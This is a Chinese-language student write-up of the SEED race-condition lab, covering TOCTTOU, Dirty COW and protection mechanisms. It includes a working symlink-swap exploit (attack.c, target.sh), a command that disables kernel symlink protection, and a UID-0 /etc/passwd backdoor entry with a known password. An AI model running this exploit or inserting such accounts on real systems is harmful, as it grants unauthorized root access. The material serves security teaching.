Race Condition Vulnerability Lab Solution Seed
- 發生在:
- 多個進程同時訪問和操作相同的數據。
- 執行的結果取決於特定順序。
- 如果一個特權程序具有競爭條件,則攻擊者可以通過對此產生影響來影響特權程序的輸出 無法控制的事件。
當兩個並發線程的執行線程以根據線程或過程的定時而無意地產生不同結果的方式訪問共享資源。
function withdraw($amount)//如果有兩個同時撤銷請求,則可以在此處出現競態條件。
$balance = getBalance();
if ($amount <= $balance) {
$balance = Sbalance - $amount;
echo "You have withdrawn: $amount";
saveBalance($balance);
else {
echo "Insufficient funds.";
}
}
當用戶取款時,這個函數從銀行的遠端數據庫中得到該用戶的賬戶余額,檢查取款數是否低於余額。如果檢查通過,就發出指令讓取款機吐出相應金額的錢,並更新數據庫中的賬戶余額。試想這樣一種情況,假如賬戶中只有1000元,能否取出1 800元?
為了做到這一點,需要有兩張銀行卡,再找一個同謀。兩個人可以分別在兩個不同的取款機上同時取900元。當第台取款機剛批准 了取款請求, 還沒來得及更新余額之前,第二台取款機就已經讀取了余額,這樣兩台取款機得到的余額都是1 000元,它們都會批准900元的取款請求。所以兩人加起來能取出1800元,並且賬戶余額還會有100元。這顯然是程序的一個漏洞,這種漏洞就叫作競態條件漏洞。
if (!access("/tmp/X", W_OK))
{
/* the real user has the write permission*/
f = open("/tmp/X", O_WRITE);
write_to_file(f);
}
else
{
/* the real user does not have the write permission */
fprintf(stderr, "Permission denied\n");
}
- 上面的程序寫入/ tmp目錄(world-writable)中的文件
- 因為root可以寫入任何文件,程序可確保真實的用戶具有寫入目標文件的權限。
access()
系統調用檢查 真實的用戶ID具有對/tm/x- 檢查后,將打開文件以寫入。
- open()檢查為0的有效用戶ID,因此將打開文件。
目標:寫入/ etc / passwd等受保護的文件。
為實現此目標,我們需要將
/etc/passwd
作為目標文件進行,而無需更改程序中的文件名
- Symbolic鏈接(軟鏈接)有助於我們實現它。
- 它是指向另一個文件的特殊文件。
問題:由於程序每秒運行數十億條指令,檢查時間和使用時間之間的窗口只會持續很短的一段時間,因此不可能更改為符號鏈接。如果更改太早,access()將失敗。如果更改稍晚,程序將使用該文件完成。
贏得競爭條件(tocttou窗口),我們需要兩個進程:在Loproprun攻擊計划中運行易受攻擊的程序
本文作者:對酒當歌、邊城
Lec
1、linux下用open函數打開文件時,要是采用O_WRONLY模式為何容易產生競爭條件漏洞?換成 O_WRONLY | O_CREAT | O_EXCL 模式后情況會如何?
-
open 函數用於打開和創建文件。open()的調用格式為
int open(const char *pathname, int oflag, ... );
返回值:成功則返回文件 描述符,否則返回 -1 -
O_WRONLY 的含義是只寫打開;O_CREAT 含義是文件存在則使 用,不存在則新建 ;
-
O_EXCL 含義是檢查文件是否存在,不存在則新 建,存在則返回錯誤信息 如果只采用 O_WRONLY 模式,root 總是可以創建文件。換成 O_WRONLY | O_CREAT | O_EXCL 模式后就不會出現這個問題。
O_RDONLY 以只讀方式打開文件
O_WRONLY 以只寫方式打開文件
O_RDWR 以可讀寫方式打開文件
上述三種旗標是互斥的, 也就是不可同時使用, 但可與下列的旗標利用OR(|)運算符組合.
O_CREAT 若欲打開的文件不存在則自動建立該文件.
O_EXCL 如果O_CREAT 也被設置, 此指令會去檢查文件是否存在.
文件若不存在則建立該文件, 否則將導致打開文件錯誤. 此外, 若O_CREAT 與O_EXCL 同時設置, 並且欲打開的文件為符號連接, 則會打開文件失敗.
2、閱讀一篇文章“從一個漏洞談到ptrace的漏洞發現及利用方法”,地址為http://www.nsfocus.net/index.php?act=magazine&do=view&mid=1795。描述其中的競爭條件漏洞出現的原因。
-
current 指向這個內核線程的 task_struct 結構,而與創建這個線 程時的 current 不同,那時候的 current 指向當時的當前進程,即 exec_modprobe()的父進程。內核線程 exec_modprobe()從其父 進程繼承了絕大部分資源和特性,包括它的 fs_struct 的內容和打開的 所有文件,以及它的進程號、組號,還有所有的特權。但是這些特性 在這個函數里大多被拚棄了(見源碼的 19 行到 42 行,這里設置了該 內核線程的信號、euid 、egid 等,使之變成超級用戶),不過在拚棄這些特性之前之前,我們的父進程,或同組進程是應該可以調試該內 核線程的。漏洞也就在這里。
-
當進程請求的功能在模塊中的情況下,內核就會派生一子進程, 並把子進程的 euid 和 egid 設置為 0 並調用 execve("/sbin/modprobe")。 問題是在子進程 euid 改變為 0 前可以被 ptrace()掛接調試,因此攻擊 者可以插入任意代碼到進程中並以 root 用戶的權限運行。
3、上網搜索CVE-2016-5195漏洞的相關資料。描述其中的整數溢出和競爭條件漏洞出現的原因。
臟牛漏洞(DirtyCOW)是由於Linux內核的內存子系統在處理copy-on-write(COW)時出現競爭條件,導致私有只讀存儲器映射被破壞,可利用此漏洞非法獲得讀寫權限,進而提升權限。
漏洞目的是修改一個只讀文件,這樣就可以修改一些只有root可寫的特權文件比如/etc/passwd。
漏洞產生的場景如下:使用write系統調用向/proc/self/mem這個文件寫入內容,內核會調用get_user_pages函數,這個函數的作用是根據虛擬內存地址尋找對應的頁物理地址。函數內部調用follow_page_mask來尋找頁描述符,follow_page_mask - look up a page descriptor from a user-virtual address。
第一次獲取頁表項會因為缺頁失敗(請求調度的機制)。get_user_pages會調用faultin_page以及handle_mm_fault來獲取一個頁框並將映射放到頁表中。繼續第二次的follow_page_mask獲取頁表符,因為獲取到的頁表項指向的是一個只讀的映射,所以這次獲取也會失敗。get_user_pages第三次調用follow_page_mask的時候不再要求頁表項指向的內存映射有可寫權限,因此可以成功獲取,獲取之后就可以對只讀內存進行強制寫入操作。
但是在上述第二次失敗之后如果我們用一個線程調用madvise(addr,len,MADV_DONTNEED),其中addr-addr+len是一個只讀文件的VM_PRIVATE的只讀內存映射,那映射的頁表項就會變為空。這時候如果第三次調用follow_page_mask來獲取頁表項,就不會用之前COW的頁框了(頁表項為空了),而是直接去找原來只讀的那個內存頁,現在又不要求可寫,因此不會再COW,直接寫這個物理頁就會導致修改了只讀文件。
4、echo "crack:"$(openssl passwd -1 -salt a3g1 123456)":0:0:,,,:/root:/bin/bash"
的輸出結果是什么?root用戶把輸出的這一行加入/etc/passwd末尾會產生什么效果?(提前備份該文件,之后恢復)
輸出結果如下:
echo "crack:"$(openssl passwd -1 -salt a3g1 123456)":0:0:,,,:/root:/bin/bash"
crack:$1$a3g1$sjnd1nkAwCfjT4/r0sTA20:0:0:,,,:/root:/bin/bash
這一行加入/etc/passwd 末尾的結果是產生了一個新用戶
5、解釋Big Endian 和 Little Endian 模式,以及兩者的區別。
Little-endian:將低序字節存儲在起始地址(低位編址)
Big-endian:將高序字節存儲在起始地址(高位編址)
3)區別是存放的起始地址不一樣
4)對於字節序列的存儲格式,目前有兩大陣營,那就是Motorola的PowerPC系列CPU和Intel的x86系列CPU。PowerPC系列采用big endian方式存儲數據,而x86系列則采用little endian方式存儲數據。
5)C/C++語言編寫的程序里數據存儲順序是跟編譯平台所在的CPU相關的,而JAVA編寫的程序則唯一采用big endian方式來存儲數據。
6、認真觀看P7 Race Condition Vulnerability Lecture
Software Security - Kevin Du - SEED Project - Syracuse University https://www.bilibili.com/video/BV1v4411S7mv 大概說下視頻的內容。
視頻以實例對競態條件漏洞做了分析,並由實驗引導實現對競態條件漏洞的攻擊。提出了一些防御措施。
最小權限原則(最早由 Saltzer 和 Schroeder 提出),是指每個程序和系統用戶都應該具有完成任務所必需的最小權限集合。
它要求計算環境中的特定抽象層的每個模塊只能訪問當下所必需的信息或者資源。
競態條件發生在並發任務訪問共享資源時,如果訪問的結果取決於訪問順序,就會發生競態條件,通過改變訪問順序,攻擊者可以影響特權程序的行為。一個常見的競態條件漏洞稱為TOCTTOU,也就是特權程序在使用資源前會做一些檢查。如果攻擊者可以在條件檢查通過后和資源訪問之前立即改變條件,那前面的檢查就變得無效了,這將導致特權程序能夠訪問不該訪問的資源。利用這種方法,攻擊者可利用特權程序修改一個受保護的文件。
為了防止競態條件漏洞,開發者需要知曉程序內部可能存在的競態條件。為減少安全隱患,可使操作原子化,提高贏得競態條件的難度,或在條件競爭窗口內降低程序權限(如果可能的話)。本章主要關注Set-UID程序的TOCTTOU類型的競態條件。在第8章臟牛競態條件攻擊中,將會討論另一種有趣的競態條件。該競態條件漏洞在Linux內核中存在多年,利用它,普通用戶可以很容易獲得操作系統的root權限。
Lab
Race Condition
https://github.com/SKPrimin/HomeWork/tree/main/SEEDLabs/Race_Condition
准備工作
Ubuntu11.04 和 12.04 提供了一個內置的防止競態條件攻擊的保護。 這個方案通過限制誰可以跟隨系統鏈接來工作。對於這個實驗,我們需要禁用這個保護。 可以使用以下命令實現這一點:
sudo sysctl -w kernel.yama.protected_sticky_symlinks=0
A Vulnerable Program
下面的程序是一個看似無害的程序。 它包含一個競態條件漏洞。
/* vulp.c */
#include <stdio.h>
#include <unistd.h>
#include <string.h>
int main()
{
char *fn = "/tmp/XYZ";
char buffer[60];
FILE *fp;
/* get user input */
scanf("%50s", buffer);
if (!access(fn, W_OK))
{
fp = fopen(fn, "a+");
fwrite("\n", sizeof(char), 1, fp);
fwrite(buffer, sizeof(char), strlen(buffer), fp);
fclose(fp);
}
else
printf("No permission \n");
}
這是 Set-UID 程序的一部分(由 root 擁有);它將一串用戶輸入附加到臨時文件/tmp/XYZ 的末尾。 由於代 碼使用根特權運行,它仔細檢查真正的用戶是否實際擁有對文件/tmp/XYZ 的訪問權限;這是訪問()調用的目 的。 一旦程序確保真正的用戶確實有權,程序將打開文件並將用戶輸入寫入文件。
看來程序在第一次查看時沒有任何問題。但是,在這個程序中存在一個競態條件漏洞:由於檢查(Access) 和使用(fopen)之間的窗口(模擬延遲),訪問使用的文件可能與 fopen 使用的文件不同,盡管它們具有相同 的文件名
/tmp/XYZ
。 如果惡意攻擊者可以以某種方式使/tmp/XYZ
成為指向/etc/shadow
的符號鏈接,則攻擊 者可以將用戶輸入附加到/etc/shadow
(請注意,程序使用root特權運行,因此可以覆蓋任何文件)。
Guidelines指導方針
1 Two Potential Targets
兩個潛在目標
在 vulp.c 中,可能有許多方法來利用競態條件脆弱性。 一種方法是使用漏洞將一些信息附加到/etc/passwd 和 /etc/shadow。Unix 操作系統使用這兩個文件對用戶進行身份驗證。如果攻擊者可以將信息添加到這兩個文件 中,他們本質上有能力創建新用戶,包括超級用戶(通過讓 uid 為零)。
/etc/passwd 文件是 Unix 機器的身份驗證數據庫。包含基本用戶屬性.. 這是一個 ASCII 文件,其中包含每 個用戶的條目。 每個條目定義應用於用戶的基本屬性。 當您使用 adduser 命令向系統添加用戶時,該命令將 更新/etc/passwdfile。
文件/etc/passwd 必須具有世界可讀性,因為許多應用程序需要訪問用戶屬性,如用戶名、主目錄等。 在 該文件中保存加密密碼意味着任何能夠訪問該機器的人都可以使用密碼破解程序(如破解)來闖入他人的帳 戶。 為了解決這個問題,創建了影子密碼系統。 影子系統中的/etc/passwd 文件是世界可讀的,但不包含加密 密碼。 另一個文件/etc/shadow 僅由 root 可讀,它包含密碼。
若要找出要添加到這兩個文件中的字符串,請運行 adduser,並查看添加到這些文件中的內容。例如,下 面是在創建一個名為 smith 的新用戶之后添加到這些文件中的內容:
/etc/passwd:
-------------
smith:x:1000:1000:Joe Smith,,,:/home/smith:/bin/bash
/etc/shadow:
-------------
smith:*1*Srdssdsdi*M4sdabPasdsdsdasdsdasdY/:13450:0:99999:7:::
文件/etc/passwd 中的第三列表示用戶的 UID。因為 smith 賬號是普通用戶賬號,所以其價值 1000 沒有什 么特別的.. 如果我們把這個條目改為 0,史密斯現在變成root。
2 Creating symbolic links
創建符號鏈接
您可以調用 C 函數 symlink()在程序中創建符號鏈接。由於 Linux 不允許創建鏈接,如果鏈接已經存在,我們 需要首先刪除舊鏈接。 下面的 C 代碼片段展示了如何刪除鏈接,然后使/tmp/XYZ 指向/etc/passwd:
unlink("/tmp/XYZ");
symlink("/etc/passwd","/tmp/XYZ");
您還可以使用 Linux 命令"ln -sf
"創建符號鏈接。這里的"f
"選項意味着,如果鏈接存在,請先刪除舊鏈接。 "ln
"命令的實現實際上使用 unlink()
和 symlink()
。
3 Improving success rate
提高成功率
RACE 條件攻擊的最關鍵步驟(即指向目標文件的鏈接)必須發生在檢查和使用之間的窗口內,即 vulp.c 中 的訪問和 fopen 調用之間。 由於我們不能修改易受攻擊的程序,我們唯一能做的就是與目標程序並行運行我 們的攻擊程序,希望鏈接的更改確實發生在這個關鍵窗口內.. 不幸的是,我們無法達到完美的時機。 因此, 攻擊的成功是概率的。如果窗口很小,成功攻擊的概率可能很低。您需要考慮如何增加概率(提示:您可以 多次運行脆弱程序;您只需要在所有這些試驗中獲得一次成功)。 由於您需要多次運行攻擊和脆弱程序,因此需要編寫一個程序來自動化攻擊過程。為了避免手動輸入到 vulp,可以使用重定向。 也就是說,在文件中鍵入輸入,然后在運行 vulp 時重定向此文件。 例如,您可以使 用以下內容: vulp < FILE。
4 Knowing whether the attack is successful
知道攻擊是否成功
由於用戶沒有訪問/etc/shadow
的讀取權限,因此無法知道是否修改了它。 唯一可能的方法是看它的時間戳。 此外,如果我們停止攻擊,一旦條目被添加到相應的文件將更好。下面的 shell 腳本檢查/etc/shadow 的時間戳 是否已更改。 一旦注意到更改,它將打印一條消息。
#!/bin/sh
old=‘ls -l /etc/shadow‘
new=‘ls -l /etc/shadow‘
while [ "$old" = "$new" ]
do
new=‘ls -l /etc/shadow‘
done
echo "STOP... The shadow file has been changed"
5 An Undesirable Situation
不可取的情況
在測試攻擊程序時,您可能會發現/tmp/XYZ 是以 root 為所有者創建的。如果發生這種情況,您已經失去了"種 族",即文件是由root創建的。一旦發生這種情況,就沒有辦法刪除這個文件。這是因為/tmp 文件夾上有一個"粘 性"位,這意味着只有文件的所有者才能刪除該文件,即使該文件夾是世界可寫的。
如果發生這種情況,您需要調整攻擊策略,然后再試一次(當然,在手動從root帳戶中刪除文件之后)。發 生這種情況的主要原因是,攻擊程序在刪除/tmp/XYZ 之后立即被關閉,但在它將名稱鏈接到另一個文件之前。 請記住,刪除現有符號鏈接並創建新鏈接的操作不是原子的(它涉及兩個單獨的系統調用),因此如果上下 文切換發生在中間(即在/tmp/XYZ 刪除之后),並且目標 Set-UID 程序有機會運行其 fopen(fn,"a+")
語句,它 將創建一個以 root 為所有者的新文件。 想想一種策略,它可以最大限度地減少在該操作中間切換上下文的機會。
6 Warning
警告
在過去,一些學生在攻擊過程中意外地清空了/etc/shadow 文件(我們仍然不知道是什么造成的)。 如果您丟失了shadow文件,您將無法再次登錄。 為了避免這種麻煩,請制作原始shadow文件的副本。
任務 1:利用競態條件漏洞
Task 1: Exploit the Race Condition Vulnerabilities
您需要在上面的 Set-UID 程序中利用競賽條件漏洞。 更具體地說,您需要實現以下內容:
重寫任何屬於 root 的文件。
獲得 root 特權;也就是說,您應該能夠做任何root可以做的事情。
/* vulp.c */
#include <stdio.h>
#include <unistd.h>
#include <string.h>
int main()
{
char *fn = "/tmp/XYZ";
char buffer[60];
FILE *fp;
/* get user input */
scanf("%50s", buffer);
if (!access(fn, W_OK))
{
fp = fopen(fn, "a+");
fwrite("\n", sizeof(char), 1, fp);
fwrite(buffer, sizeof(char), strlen(buffer), fp);
fclose(fp);
}
else
printf("No permission \n");
}
直接使用源文件可能會發出警告:vulp.c:20:42: warning: incompatible implicit declaration of built-in function ‘strlen’ [enabled by default]
在C語言中,使用以前未聲明的函數構成函數的隱式聲明。在隱式聲明中,返回類型是int。現在,GCC有了一些標准函數的內置定義。如果隱式聲明與內置定義不匹配,則會發出此警告。要解決這個問題,就必須在使用函數之前聲明它們;通常可以通過包含適當的頭文件來實現這一點。
#include <string.h>
編譯vulp
首先編譯 vulp.c 代碼,將二進制代碼文件設置為 root 所有的 Set-UID 程序。禁用保護措施。
sudo sysctl -w kernel.yama.protected_sticky_symlinks=0
gcc vulp.c -o vulp
sudo chown root vulp
sudo chmod 4755 vulp
創建passwd_input
內容為
crack:$1$a3g1$sjnd1nkAwCfjT4/r0sTA20:0:0:,,,:/root:/bin/bash
或者
crack:a39StiWb.hkcY:0:0:,,,:/root:/bin/bash
關於內容來源
echo "crack:"$(openssl passwd -crypt -salt a3g1 123456)":0:0:,,,:/root:/bin/bash"
編寫attack.c文件
#include <unistd.h>
int main()
{
while (1)
{
unlink("/tmp/XYZ");
symlink("/dev/null", "/tmp/XYZ");
usleep(1000);
unlink("/tmp/XYZ");
symlink("/etc/passwd", "/tmp/XYZ");
usleep(1000);
}
return 0;
}
編譯
gcc -o attack attack.c
創建攻擊腳本target.sh
#!/bin/bash
CHECK_FILE="ls -l /etc/passwd"
old=$($CHECK_FILE)
new=$($CHECK_FILE)
while [ "$old" == "$new" ]
do
./vulp < passwd_input
new=$($CHECK_FILE)
done
echo "STOP...The passwd file has been changed"
如果執行腳本時報錯:'\r': command not found
,可能是因為在window下編輯完成后上傳到linux,win下的換行是回車符+換行符,即\r\n,而unix下是換行符\n,因此不識別\r為回車符,所以導致每行多了個\r。
使用如下命令去除即可
sed -i 's/\r//' target.sh
共同執行
./attack
再打開一個終端
sudo sysctl -w kernel.yama.protected_sticky_symlinks=0
bash target.sh
攻擊成功,查看密碼文件發現已經寫入
cat /etc/passwd
也可以使用此賬戶獲得root權限
su crack
123456
Task 2: 保護機制 A:重復
Protection Mechanism A: Repeating
擺脫競態條件並不容易,因為檢查和使用模式往往是必要的程序。而不是取消比賽條件,我們實際上可以增 加更多的比賽條件,這樣為了損害程序的安全性,攻擊者需要贏得所有這些比賽條件。 如果這些比賽條件設 計得當,我們可以成倍地降低攻擊者的獲勝概率。 基本思想是重復access()並open()幾次;每次打開文件, 最后通過檢查它們的 i-node(它們應該是相同的)來檢查是否打開了相同的文件。請使用此策略修改易受攻擊的程序,並重復您的攻擊。 報告成功是多么困難,如果你還能成功的話。
把 task1 的 vulp.c 換成以下代碼:
#include <string.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/stat.h>
void no_perm(void)
{
printf("no permission.\n");
exit(EXIT_FAILURE);
}
int main(int argc, char *argv[])
{
char *fn = "/tmp/XYZ";
char buffer[60];
FILE *fp;
long int i;
long int rep = 0; // number of repetition
struct stat inodes[2] = {0};
rep = 50;
/* get user input */
scanf("%50s", buffer);
for (i = 0; i < rep; ++i)
{
if (!access(fn, W_OK))
{
stat(fn, &inodes[i % 2]);
if (i > 0)
{
if (inodes[0].st_ino != inodes[1].st_ino)
{
no_perm();
}
}
}
else
{
no_perm();
}
}
fp = fopen(fn, "a+");
fwrite("\n", sizeof(char), 1, fp);
fwrite(buffer, sizeof(char), strlen(buffer), fp);
fclose(fp);
}
修改vulp.c后,重新編譯執行
sudo sysctl -w kernel.yama.protected_sticky_symlinks=0
gcc vulp.c -o vulp
sudo chown root vulp
sudo chmod 4755 vulp
./attack
再重新開另一個終端,執行腳本
sudo sysctl -w kernel.yama.protected_sticky_symlinks=0
bash target.sh
攻堅成功
Task 3: 保護機制 B:最小特權原則
Protection Mechanism B: Principle of Least Privilege**
本實驗室易受傷害程序的根本問題是違反最小特權原則。程序員確實理解運行程序的用戶可能太強大,因此 他/她引入了訪問()來限制用戶的能力。然而,這不是適當的辦法。 更好的方法是應用最小特權原則;也就是說,如果用戶不需要某些特權,則需要禁用特權。 我們可以使用 seteuid 系統調用暫時禁用根特權,如果有必要,我們可以稍后啟用它。 請使用此方法修復 程序中的漏洞,然后重復您的攻擊。
修改代碼
#include <stdio.h>
#include <string.h>
#include <unistd.h>
int main()
{
char *fn = "/tmp/XYZ";
char buffer[60];
FILE *fp;
/* get user input */
scanf("%50s", buffer);
seteuid(getuid());
if (!access(fn, W_OK))
{
fp = fopen(fn, "a+");
fwrite("\n", sizeof(char), 1, fp);
fwrite(buffer, sizeof(char), strlen(buffer), fp);
fclose(fp);
}
else
printf("No permission \n");
}
輕車熟路的重新編譯攻擊,發現這次已然不能成功。
sudo sysctl -w kernel.yama.protected_sticky_symlinks=0
gcc vulp.c -o vulp
sudo chown root vulp
sudo chmod 4755 vulp
./attack
sudo sysctl -w kernel.yama.protected_sticky_symlinks=0
bash target.sh
直至 Segmentation fault
內存訪問越界都不能成功,即使用 setuid 系統調用暫時禁止 root 權限后,無法再成功攻擊。
7
Task 4: 保護機制C:Ubuntu 內置方案
Protection Mechanism C:** Ubuntu’s Built-in Scheme
此任務僅適用於那些使用我們的 Ubuntu11.04 或 12.04VM 的人。正如我們在初始設置中提到的,Ubuntu11.04 和 12.04 提供了一個內置的保護方案,以防止競態條件攻擊。 在此任務中,需要使用以下命令將保護打開:
sudo sysctl -w kernel.yama.protected_sticky_symlinks=1
在你的報告中,請描述你的觀察。 還請解釋以下幾點:
- 為什么這種保護方案有效?
- 這是一個 很好的保護嗎? 為什么或者為什么不?
- 該計划有何局限性?
恢復Task1時的vulp.c
啟用系統的競態條件防護漏洞后再次運行攻擊程序
sudo sysctl -w kernel.yama.protected_sticky_symlinks=1
gcc vulp.c -o vulp
sudo chown root vulp
sudo chmod 4755 vulp
./attack
sudo sysctl -w kernel.yama.protected_sticky_symlinks=1
bash target.sh
攻擊失敗,此防護方法有效。文件符號鏈接一直失敗。有了這個保護機制,可以防止程序在特定情況下跟隨符號鏈接,即使攻擊者可以贏得競爭條件,他們也無法造成危害。該機制應該是當檢測到權限所有者和鏈接指向文件不匹配時,中止鏈接。